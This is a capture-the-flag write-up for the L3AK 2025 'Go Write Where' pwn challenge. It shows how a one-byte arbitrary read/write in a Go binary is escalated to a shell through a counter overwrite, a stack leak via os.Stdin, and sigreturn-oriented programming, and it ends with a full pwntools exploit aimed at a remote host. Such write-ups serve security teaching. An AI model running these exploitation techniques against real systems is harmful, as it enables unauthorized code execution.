[L3AK 2025] Pwn - Go Write Where
Overview
This challenge provides an unusual and restricted setting: a statically compiled Go binary with two primitives: the ability to read or write exactly one byte anywhere in memory.
Our goal is to escalate that primitive into unlimited memory access, leak the stack, and achieve remote code execution.
Step 1: Bypassing the One-Time Read/Write Limitation
The first major constraint is that we are allowed only one read or one write.
Looking at the decompiled code, the logic looks like this:
1for (counter = 1; counter > 0; counter = saved_counter - 1) {
2 // read or write a single byte
3}
The counter
variable is decremented from a saved copy, saved_counter
, stored on the stack at:
1mov [rsp+0x1d0 - 0x190], counter ; → [rsp+0x40]
If we can overwrite that saved counter value with a higher value (e.g., 0xff
), the loop becomes effectively infinite or long enough for our needs.
The Bruteforce Trick
At first, we only have one byte write, so we can’t do a full overwrite. However:
- Go maps stacks at 0xc000000000
- The stack offset for the saved counter always ends with
0xd8
- The full pointer is of the form
0xc000XXYYD8
This means that we only need to brute-force 2 bytes: XXYY
.
So the bruteforce strategy:
- Loop over potential stack addresses like
0xc0000000d8
,0xc0000100d8
, etc. - Try writing a single byte (
0xff
) at each candidate - Check if the program allows a second read/write → we won
Once we overwrite the saved counter to 0xff
, the loop becomes:
1counter = 255 - 1, then 254 - 1, etc...
Now we can perform as much read/write operations as we want (because we can reset it to 0xFF)
Step 2: Leak the Stack Address via os.Stdin
The next step is to leak the stack address so we can precisely locate the return address of main.main
.
Go’s os.Stdin
is a global symbol that, in this binary, points to an object allocated on the stack.
We use our arbitrary read primitive (after bypassing the counter restriction) to:
- Read the address stored in
os.Stdin
- This gives us a stack pointer leak (e.g.,
0xc000xxxyyy
) - From here, we compute the return address of
main
based on known stack frame layout
Step 3: Writing a Useful Payload
At this point, we have:
- An arbitrary write primitive (many times)
- A leaked stack pointer
- The ability to locate and overwrite the return address
To prepare the payload:
- Use the write primitive to write
"/bin/sh\x00"
somewhere in the binary .text segment - Prepare a ROP chain… but this binary has very few gadgets
Step 4: SROP — Sigreturn Oriented Programming
Due to a lack of usable ROP gadgets, we switch to Sigreturn Oriented Programming (SROP).
The plan:
-
Overwrite the return address with a
syscall
gadget (found at a known location) -
Set
rax = 15
before the syscall → triggerssigreturn
-
Write a fake
sigframe
on the stack, crafted to:- Set
rax = 59
(execve
) - Set
rdi
to pointer to"/bin/sh"
- Set
rsi
,rdx
to 0 - Set
rip
tosyscall
- Set
This gives us full control of the CPU state and results in execve("/bin/sh", 0, 0)
— a shell.
Exploit
1from pwn import *
2
3
4elf = ELF("./chall", checksec=False)
5context.arch = "amd64"
6
7def read(p, addr, size):
8 result = b""
9 for i in range(size):
10 current_addr = addr + i
11 p.sendlineafter(b"Read or Write? (r/w):", b"r")
12 p.sendlineafter(b": ", hex(current_addr).encode())
13 p.recvuntil(b": ")
14 value_str = p.recvuntil(b"\n", drop=True)
15 byte_val = int(value_str, 0)
16 result += bytes([byte_val])
17
18 return result
19
20
21def write(p, addr, data):
22 for i, byte in enumerate(data):
23 current_addr = addr + i
24 p.sendlineafter(b"Read or Write? (r/w):", b"w",timeout=10)
25 p.sendlineafter(b": ", hex(current_addr).encode(),timeout=10)
26 p.sendlineafter(b": ", hex(byte).encode(), timeout=10)
27 info("Wrote byte: 0x%hx" % byte)
28
29
30
31
32p = remote("34.45.81.67", 16003)
33write(p,0xc00009cdb8, b"\xff")
34
35print("Successfully overwrote counter.")
36bin_sh = 0x52c200 # elf .text address
37write(p,bin_sh, b"/bin/sh\0")
38
39
40stack = u64(read(p,elf.sym["os.Stdin"], 8))-37048
41info("Stack: 0x%hx" % stack)
42
43
44syscall = 0x000000000040336c
45pop_rax = 0x00000000004224c4
46
47
48frame = SigreturnFrame()
49frame.rax = constants.SYS_execve
50frame.rdi = bin_sh
51frame.rsi = 0
52frame.rdx = 0
53frame.rip = syscall
54
55
56payload = p64(pop_rax)
57payload += p64(15)
58payload += p64(syscall)
59
60
61payload2 = bytes(frame)
62
63
64
65
66write(p, stack, payload)
67write(p,0xc00009cdb8, b"\xf8")
68
69print(len(payload2))
70
71write(p, stack+24, payload2)
72
73p.interactive()
74
Final Notes
This challenge was an excellent demonstration of:
- Bypassing logic restrictions with targeted stack writes
- Using Go’s predictable stack mapping to brute-force memory
- Leaking and using
os.Stdin
as a stack pointer oracle - Using SROP in constrained gadget environments
Exploit Summary (TL;DR)
- Brute-force stack address to overwrite
saved_counter
with0xff
- Leak stack pointer via
os.Stdin
- Locate
main
's return address - Write
/bin/sh
and asigreturn
frame - Overwrite return address to trigger SROP
- Profit: shell 🎉